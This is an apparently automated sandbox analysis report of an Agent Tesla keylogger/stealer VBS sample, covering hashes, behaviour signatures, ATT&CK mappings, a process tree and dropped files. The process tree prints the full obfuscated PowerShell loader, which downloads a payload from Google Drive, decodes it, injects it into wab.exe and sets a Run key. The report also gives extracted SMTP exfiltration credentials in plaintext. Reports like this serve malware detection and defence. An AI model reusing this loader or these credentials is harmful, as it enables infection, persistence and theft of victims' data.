agenttesla | 190ef363fcd30d19582d57e1401d07e91ad586f764e7c0ccb5dc5a0df577510b

General

Target

STOPA 2024-0181.vbs
Size

10KB
MD5

420b31e03f0aac291050345120dbb1c8
SHA1

e0968e51e1f6d8f3335ef9b9d5dea2c3f2253079
SHA256

9cec82087a35cfbb1b0097af9f6113b80cdbcdf9c73383a412dbf8408f37dfeb
SHA512

b5d3d8a5fc03ffb54a166b30f4bcdb1073fbdc08df5013b170321199f1939de630f596d058f44a5c4d9bae8f7f3130a6cd3b1d5a11d7f1d9753aee926f0dd7ac
SSDEEP

192:LIOoWa+tZFy6AA+1WHfa1vD7nSruBun2mF:LmW7y6AASOE7nSr0uBF

Score

10^/10

agenttesla keylogger persistence spyware stealer trojan

Malware Config

Extracted

Family

agenttesla

Credentials

Protocol: smtp
Host:
mail.blachownia.pl
Port:
587
Username:
[email protected]
Password:
Zamowienia-2017
Email To:
[email protected]

Signatures

AgentTesla
Agent Tesla is a remote access tool (RAT) written in visual basic.
keylogger trojan stealer spyware agenttesla

Blocklisted process makes network request 3 IoCs

flow	pid	Process
3	1736	WScript.exe
7	2444	powershell.exe
9	2444	powershell.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3452737119-3959686427-228443150-1000\Software\Microsoft\Windows\CurrentVersion\Run\fMNDB = "C:\\Users\\Admin\\AppData\\Roaming\\fMNDB\\fMNDB.exe"	wab.exe

Legitimate hosting services abused for malware hosting/C2 1 TTPs 3 IoCs

Web Service

T1102

flow	ioc
6	drive.google.com
7	drive.google.com
11	drive.google.com

Suspicious use of NtCreateThreadExHideFromDebugger 1 IoCs

pid	Process
1748	wab.exe

Suspicious use of NtSetInformationThreadHideFromDebugger 2 IoCs

pid	Process
1872	powershell.exe
1748	wab.exe

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 1872 set thread context of 1748	1872	powershell.exe	34

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 5 IoCs

pid	Process
2444	powershell.exe
1872	powershell.exe
1872	powershell.exe
1748	wab.exe
1748	wab.exe

Suspicious behavior: MapViewOfSection 1 IoCs

pid	Process
1872	powershell.exe

Suspicious use of AdjustPrivilegeToken 3 IoCs

description	pid	Process
Token: SeDebugPrivilege	2444	powershell.exe
Token: SeDebugPrivilege	1872	powershell.exe
Token: SeDebugPrivilege	1748	wab.exe

Suspicious use of WriteProcessMemory 20 IoCs

description	pid	Process	procid_target
PID 1736 wrote to memory of 2444	1736	WScript.exe	29
PID 1736 wrote to memory of 2444	1736	WScript.exe	29
PID 1736 wrote to memory of 2444	1736	WScript.exe	29
PID 2444 wrote to memory of 2480	2444	powershell.exe	31
PID 2444 wrote to memory of 2480	2444	powershell.exe	31
PID 2444 wrote to memory of 2480	2444	powershell.exe	31
PID 2444 wrote to memory of 1872	2444	powershell.exe	32
PID 2444 wrote to memory of 1872	2444	powershell.exe	32
PID 2444 wrote to memory of 1872	2444	powershell.exe	32
PID 2444 wrote to memory of 1872	2444	powershell.exe	32
PID 1872 wrote to memory of 1928	1872	powershell.exe	33
PID 1872 wrote to memory of 1928	1872	powershell.exe	33
PID 1872 wrote to memory of 1928	1872	powershell.exe	33
PID 1872 wrote to memory of 1928	1872	powershell.exe	33
PID 1872 wrote to memory of 1748	1872	powershell.exe	34
PID 1872 wrote to memory of 1748	1872	powershell.exe	34
PID 1872 wrote to memory of 1748	1872	powershell.exe	34
PID 1872 wrote to memory of 1748	1872	powershell.exe	34
PID 1872 wrote to memory of 1748	1872	powershell.exe	34
PID 1872 wrote to memory of 1748	1872	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\STOPA 2024-0181.vbs"
1⤵
- Blocklisted process makes network request
- Suspicious use of WriteProcessMemory
PID:1736
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "$Smaabarns = 1;$Cutleriaceous='Su';$Cutleriaceous+='bstrin';$Cutleriaceous+='g';Function Sanktionspolitik($Hematospectrophotometer){$Konsistoriemedlem=$Hematospectrophotometer.Length-$Smaabarns;For($Nedblndinger=1;$Nedblndinger -lt $Konsistoriemedlem;$Nedblndinger+=2){$Afgrnsnings+=$Hematospectrophotometer.$Cutleriaceous.Invoke( $Nedblndinger, $Smaabarns);}$Afgrnsnings;}function Recours($Acuating){& ($Vsentlighedskriteriernes) ($Acuating);}$Sues=Sanktionspolitik 'SM oFzbi lDl a,/V5P.s0 ,(SW i nbdEoSw s ANBTC O1U0 .,0 ;c TW i n 6.4M;, Ox,6T4C;. SrSv : 1R2M1A.T0 )R UGOe cDk oT/B2t0L1s0 0P1.0E1R HF,i rBeOfSoAxn/.1 2H1 .,0, ';$Konomimnstret=Sanktionspolitik 'SU s.e.r.- ADg e n,tH ';$Lugtesans=Sanktionspolitik 'Wh tUtSpDs :U/ /.d rSi,v.e..Rg o o.g l,e . c,oPmS/Bu c,?TeNx p o.rBt =AdpoSw nFlSo.aOd & iAdU=P1SA xNSIgHx,zSnDh O,1AxW7.q U 1Tb 1.bS1PL.3Fe.hGNaULE LPOAPUgJpSL ';$Bloodstones=Sanktionspolitik 'A>C ';$Vsentlighedskriteriernes=Sanktionspolitik 'hiCe xc ';$Pedler='Konferensers206';Recours (Sanktionspolitik 'JS.eItM-WC o n tSe.nVt, ,-.PbaLtGhC GTR:,\EX eLnVoKfMoSb.i s k eV.,tAx.t. P-MVPaQlIuDeS $.PPe,d lVeBrU;R ');Recours (Sanktionspolitik 'Oi fF ,(Bt e s tU-.pTaStWhI ,T :.\SX ePnMo,f.o.bMirsDkTe .,t xltN).{,e x,iAtV} ;S ');$Bogtilrettelgger = Sanktionspolitik ',eUc h.o .%Ka,p.pTd a.t.a %T\RF uBdEg y . SFyFn &A&T eIcDhHo T$. ';Recours (Sanktionspolitik 'd$ gUlFoObmaTlP:CCAa.f,eFt,ePa.t,rEeOs =.(RcFm,dS L/OcS A$TB oSgUt iOl rte tUt e.ltg g.eorS)l ');Recours (Sanktionspolitik 'B$.g,l oMb,aRl,: uTn,c,r.u.sKtmeEdS= $.LNuEg.tOe.sLa,n.s . sRprl.iCt.( $.B.lIo oCdSsBtFoCnSe.s ). ');$Lugtesans=$uncrusted[0];Recours (Sanktionspolitik 'B$ g.l.o b a l,:tF u s o.i.d = N.e,wA- OFbFjSeMcHt. LS.yDsTt eEm,.ANTeDtD.FW eSbGC,lSiPe.n,t ');Recours (Sanktionspolitik 'I$,FRuGs,o.i d . HIeDaEd e r s [,$ K o nNoDmci m.n s.tGrSe t ]M=S$ SUuNe s ');$Cloche=Sanktionspolitik ' FEu sEoli.d . DSoNwPn l.o,aAdBFUi l.e (H$dLPuDg.tBeBs.a n.sF, $DUknStWr aLvIe.l eBdO), ';$Cloche=$Cafeteatres[1]+$Cloche;$Untraveled=$Cafeteatres[0];Recours (Sanktionspolitik 'H$ gDl oPb,a ld:uCIa l i cIu.lCa.tBe.1.7B1M=,( TSeGsDt -BPTaDt hF $ UUn.t r,a.v.eElBe dH) ');while (!$Caliculate171) {Recours (Sanktionspolitik ' $.gBlEoRb a l,:LO p.t.iUcLsT=U$ tSr uFe ') ;Recours $Cloche;Recours (Sanktionspolitik 'VSPtOaIr t -GSKl e eBpO A4 ');Recours (Sanktionspolitik 'B$,g lOoPbVaAlR: CBa,l.iTcRuWl aHt e.1,7 1 =K(cT e sMt - P.aEt hE S$SU.nLt r a vHeSlUeFdF), ') ;Recours (Sanktionspolitik 'F$Rg,lSo b a lS:SC u v,i,e.r iTaTnB=.$,g l,oOb aIlP: A m pUeHrSsMaFnSdSsA1,5L3 +b+,%S$ u n cerhu.s.tOe d .Dc.o uMn.tU ') ;$Lugtesans=$uncrusted[$Cuvierian];}$Equalisations=322933;$Trakkasseres=26388;Recours (Sanktionspolitik 'T$PgClCo bsa lK:LAtf g a nUg s.pPeRrRrDoIn e.r n.e.sH I=f aG.eCt,-AC,o n tbeDnDt S$IU n,t,rGa v.e.l eAd. ');Recours (Sanktionspolitik 'R$BgJlTo b,a.lN: ANn eLcNhTo iDcU1 9O6 =D [NSIyEsKt eOm .,Cao,nMv e r t ] :S: FKr o.mSBUa s e 6,4.S tTrUi nMgS(O$AA fMg a,n gMssp eSrSr o nAeFrNn,eBs )F ');Recours (Sanktionspolitik ',$ gBl oEbRaSlE: F o.l kNe p.e n.s itohn sRaAl d,e r,eVnBsU M=T .[sS.yNsGt eOm,.,T.e x.tT.BE n.c o.dFi,n gR]R:T: A S C,I,I . G eAt S t r i,nIg,(.$ ABn e c h.osiMc,1 9.6,)d ');Recours (Sanktionspolitik 'F$ g lPorb a.lS:kGceCnGo pSlDi,v n iAn g.e rIn e =R$PF.oHlFk e.p eUnBs i.o n,s.aFl dTeOr eCn sU.Rs.u.b s tRr.i,n gU(R$ EAq,u a.lFiTs,aTt iUoSn s,,.$STPr a,kTkDaDs sSe,rPe sF), ');Recours $Genoplivningerne;"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2444
- - C:\Windows\system32\cmd.exe
    "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fudgy.Syn && echo $"
    3⤵
    PID:2480
- - C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Smaabarns = 1;$Cutleriaceous='Su';$Cutleriaceous+='bstrin';$Cutleriaceous+='g';Function Sanktionspolitik($Hematospectrophotometer){$Konsistoriemedlem=$Hematospectrophotometer.Length-$Smaabarns;For($Nedblndinger=1;$Nedblndinger -lt $Konsistoriemedlem;$Nedblndinger+=2){$Afgrnsnings+=$Hematospectrophotometer.$Cutleriaceous.Invoke( $Nedblndinger, $Smaabarns);}$Afgrnsnings;}function Recours($Acuating){& ($Vsentlighedskriteriernes) ($Acuating);}$Sues=Sanktionspolitik 'SM oFzbi lDl a,/V5P.s0 ,(SW i nbdEoSw s ANBTC O1U0 .,0 ;c TW i n 6.4M;, Ox,6T4C;. SrSv : 1R2M1A.T0 )R UGOe cDk oT/B2t0L1s0 0P1.0E1R HF,i rBeOfSoAxn/.1 2H1 .,0, ';$Konomimnstret=Sanktionspolitik 'SU s.e.r.- ADg e n,tH ';$Lugtesans=Sanktionspolitik 'Wh tUtSpDs :U/ /.d rSi,v.e..Rg o o.g l,e . c,oPmS/Bu c,?TeNx p o.rBt =AdpoSw nFlSo.aOd & iAdU=P1SA xNSIgHx,zSnDh O,1AxW7.q U 1Tb 1.bS1PL.3Fe.hGNaULE LPOAPUgJpSL ';$Bloodstones=Sanktionspolitik 'A>C ';$Vsentlighedskriteriernes=Sanktionspolitik 'hiCe xc ';$Pedler='Konferensers206';Recours (Sanktionspolitik 'JS.eItM-WC o n tSe.nVt, ,-.PbaLtGhC GTR:,\EX eLnVoKfMoSb.i s k eV.,tAx.t. P-MVPaQlIuDeS $.PPe,d lVeBrU;R ');Recours (Sanktionspolitik 'Oi fF ,(Bt e s tU-.pTaStWhI ,T :.\SX ePnMo,f.o.bMirsDkTe .,t xltN).{,e x,iAtV} ;S ');$Bogtilrettelgger = Sanktionspolitik ',eUc h.o .%Ka,p.pTd a.t.a %T\RF uBdEg y . SFyFn &A&T eIcDhHo T$. ';Recours (Sanktionspolitik 'd$ gUlFoObmaTlP:CCAa.f,eFt,ePa.t,rEeOs =.(RcFm,dS L/OcS A$TB oSgUt iOl rte tUt e.ltg g.eorS)l ');Recours (Sanktionspolitik 'B$.g,l oMb,aRl,: uTn,c,r.u.sKtmeEdS= $.LNuEg.tOe.sLa,n.s . sRprl.iCt.( $.B.lIo oCdSsBtFoCnSe.s ). ');$Lugtesans=$uncrusted[0];Recours (Sanktionspolitik 'B$ g.l.o b a l,:tF u s o.i.d = N.e,wA- OFbFjSeMcHt. LS.yDsTt eEm,.ANTeDtD.FW eSbGC,lSiPe.n,t ');Recours (Sanktionspolitik 'I$,FRuGs,o.i d . HIeDaEd e r s [,$ K o nNoDmci m.n s.tGrSe t ]M=S$ SUuNe s ');$Cloche=Sanktionspolitik ' FEu sEoli.d . DSoNwPn l.o,aAdBFUi l.e (H$dLPuDg.tBeBs.a n.sF, $DUknStWr aLvIe.l eBdO), ';$Cloche=$Cafeteatres[1]+$Cloche;$Untraveled=$Cafeteatres[0];Recours (Sanktionspolitik 'H$ gDl oPb,a ld:uCIa l i cIu.lCa.tBe.1.7B1M=,( TSeGsDt -BPTaDt hF $ UUn.t r,a.v.eElBe dH) ');while (!$Caliculate171) {Recours (Sanktionspolitik ' $.gBlEoRb a l,:LO p.t.iUcLsT=U$ tSr uFe ') ;Recours $Cloche;Recours (Sanktionspolitik 'VSPtOaIr t -GSKl e eBpO A4 ');Recours (Sanktionspolitik 'B$,g lOoPbVaAlR: CBa,l.iTcRuWl aHt e.1,7 1 =K(cT e sMt - P.aEt hE S$SU.nLt r a vHeSlUeFdF), ') ;Recours (Sanktionspolitik 'F$Rg,lSo b a lS:SC u v,i,e.r iTaTnB=.$,g l,oOb aIlP: A m pUeHrSsMaFnSdSsA1,5L3 +b+,%S$ u n cerhu.s.tOe d .Dc.o uMn.tU ') ;$Lugtesans=$uncrusted[$Cuvierian];}$Equalisations=322933;$Trakkasseres=26388;Recours (Sanktionspolitik 'T$PgClCo bsa lK:LAtf g a nUg s.pPeRrRrDoIn e.r n.e.sH I=f aG.eCt,-AC,o n tbeDnDt S$IU n,t,rGa v.e.l eAd. ');Recours (Sanktionspolitik 'R$BgJlTo b,a.lN: ANn eLcNhTo iDcU1 9O6 =D [NSIyEsKt eOm .,Cao,nMv e r t ] :S: FKr o.mSBUa s e 6,4.S tTrUi nMgS(O$AA fMg a,n gMssp eSrSr o nAeFrNn,eBs )F ');Recours (Sanktionspolitik ',$ gBl oEbRaSlE: F o.l kNe p.e n.s itohn sRaAl d,e r,eVnBsU M=T .[sS.yNsGt eOm,.,T.e x.tT.BE n.c o.dFi,n gR]R:T: A S C,I,I . G eAt S t r i,nIg,(.$ ABn e c h.osiMc,1 9.6,)d ');Recours (Sanktionspolitik 'F$ g lPorb a.lS:kGceCnGo pSlDi,v n iAn g.e rIn e =R$PF.oHlFk e.p eUnBs i.o n,s.aFl dTeOr eCn sU.Rs.u.b s tRr.i,n gU(R$ EAq,u a.lFiTs,aTt iUoSn s,,.$STPr a,kTkDaDs sSe,rPe sF), ');Recours $Genoplivningerne;"
    3⤵
    - Suspicious use of NtSetInformationThreadHideFromDebugger
    - Suspicious use of SetThreadContext
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious behavior: MapViewOfSection
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:1872
  - - C:\Windows\SysWOW64\cmd.exe
      "C:\Windows\system32\cmd.exe" /c "echo %appdata%\Fudgy.Syn && echo $"
      4⤵
      PID:1928
  - - C:\Program Files (x86)\windows mail\wab.exe
      "C:\Program Files (x86)\windows mail\wab.exe"
      4⤵
      Adds Run key to start application
      Suspicious use of NtCreateThreadExHideFromDebugger
      Suspicious use of NtSetInformationThreadHideFromDebugger
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1748

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Web Service

1

T1102

Exfiltration

Impact

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Downloads

C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\94308059B57B3142E455B38A6EB92015

Filesize
68KB

MD5
29f65ba8e88c063813cc50a4ea544e93

SHA1
05a7040d5c127e68c25d81cc51271ffb8bef3568

SHA256
1ed81fa8dfb6999a9fedc6e779138ffd99568992e22d300acd181a6d2c8de184

SHA512
e29b2e92c496245bed3372578074407e8ef8882906ce10c35b3c8deebfefe01b5fd7f3030acaa693e175f4b7aca6cd7d8d10ae1c731b09c5fa19035e005de3aa

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

Filesize
344B

MD5
ab8a93787bc207ae4734c8390ac57ac1

SHA1
1f85782173b0a9a243e93a15e5a6dd1e4ccd3702

SHA256
18154d6421a2a7d1bbf96cdf619dbeb1bbe8eea295afee55a7fae8ec8b9c132e

SHA512
ceabcd516c66e717dc4bcf26ede24fb99410692609ad625ad91980c7c1720abbcef4f01c57203590d2904f741f3a5ec599bb4ca2f8d6c2df975be252fe34207d

Download Submit
C:\Users\Admin\AppData\Roaming\Fudgy.Syn

Filesize
454KB

MD5
fc62b80e164b7026eac50c83ad55770e

SHA1
0cd849e2fa77e57d94ebe8c5b7685474e2438e48

SHA256
473ff96f43544f04cb08a9e6faa4a72162ebd8e93363cb82cdd914f34eb38f1c

SHA512
924b368df010aecca6d7efb572ab0a8d7a5afaacb3c12b94877f0606efe113184180fdf47067d00004f49297c3978054abc0980b51c04b8e145d9e276041c8de

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\7KEBWEFC5ZJEV346EU29.temp

Filesize
7KB

MD5
071bf2049225383809e1429148d20e15

SHA1
04795e2601eeab2d1621fb8854cc6275138f12c9

SHA256
09f6094e33ac7fd8c2d9185fb470cf3ab01e428b266e39730f24ffe29b25f8f3

SHA512
0ba13af42e23e4846770f7d3497dabacfd99105eae9d34acec4246bbc6c07acdca952f81257eeae410834b9dd50cf58a9653c458d44d686e639374b68679ca2c

Download Submit
memory/1748-62-0x0000000000330000-0x0000000000372000-memory.dmp

Filesize
264KB

Download
memory/1748-60-0x0000000000330000-0x0000000001392000-memory.dmp

Filesize
16.4MB

Download
memory/1872-34-0x00000000066B0000-0x0000000008444000-memory.dmp

Filesize
29.6MB

Download
memory/2444-26-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2444-28-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2444-27-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2444-23-0x0000000002320000-0x0000000002328000-memory.dmp

Filesize
32KB

Download
memory/2444-35-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2444-36-0x000007FEF5A5E000-0x000007FEF5A5F000-memory.dmp

Filesize
4KB

Download
memory/2444-21-0x000007FEF5A5E000-0x000007FEF5A5F000-memory.dmp

Filesize
4KB

Download
memory/2444-24-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2444-25-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2444-61-0x000007FEF57A0000-0x000007FEF613D000-memory.dmp

Filesize
9.6MB

Download
memory/2444-22-0x000000001B6A0000-0x000000001B982000-memory.dmp

Filesize
2.9MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v15

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Downloads